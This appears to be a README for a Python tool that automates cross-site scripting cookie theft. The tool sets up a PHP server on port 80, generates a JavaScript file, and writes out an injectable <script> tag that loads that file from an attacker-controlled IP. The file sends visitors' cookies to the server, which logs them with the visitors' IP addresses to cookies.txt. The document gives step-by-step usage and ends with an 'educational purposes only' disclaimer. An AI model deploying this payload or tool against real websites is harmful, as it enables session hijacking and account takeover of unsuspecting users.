Simple Python script that will set up a PHP server for stealing cookies - and provided the payload needed.
This Python script automates the process of setting up a simple PHP server to capture cookies via Cross-Site Scripting (XSS). The script generates an XSS payload, creates a web server directory, and runs a PHP server that logs victim cookies to a file.
- Generates an XSS payload for
<script>
injection. - Sets up a PHP server that captures cookies from victims.
- Logs the cookies to
cookies.txt
along with the victim's IP address. - Automatically creates the necessary files (
script.js
andindex.php
).
- Python 3.x
- PHP (required to run the web server)
sudo
privileges (required to run PHP on port 80)
You can display the help message by running:
python3 xss-cookie-stealer.py -h
To generate the payload and set up the PHP server, provide your IP address as an argument:
python3 xss-cookie-stealer.py <YOUR_IP>
Example:
python3 xss-cookie-stealer.py 192.168.1.10
After running the script, the XSS payload will be echoed to the terminal. You can inject this payload into a vulnerable web page to capture cookies:
<script src="http://<YOUR_IP>/script.js"></script>
The script will create the following files in the web-server
directory:
index.php
: Handles the incoming requests and logs cookies tocookies.txt
.script.js
: Sends the victim's cookies to the PHP script.
The script will start a PHP server on port 80 to host the web server:
sudo php -S 0.0.0.0:80 -t web-server
Captured cookies and victim IP addresses will be saved in the cookies.txt
file inside the web-server
directory.
-
Run the script with your IP address:
python3 create_payload.py 192.168.1.10
-
Inject the payload in a vulnerable website:
<script src="http://192.168.1.10/script.js"></script>
-
Any cookies sent by users visiting the vulnerable page will be logged in
cookies.txt
along with their IP address.
This project is for educational purposes only. Ensure that you have permission before using this script on any system or application.
Disclaimer: This script is intended for ethical purposes only, such as penetration testing within legal and authorized boundaries. Misuse of this tool for illegal activities is strictly prohibited.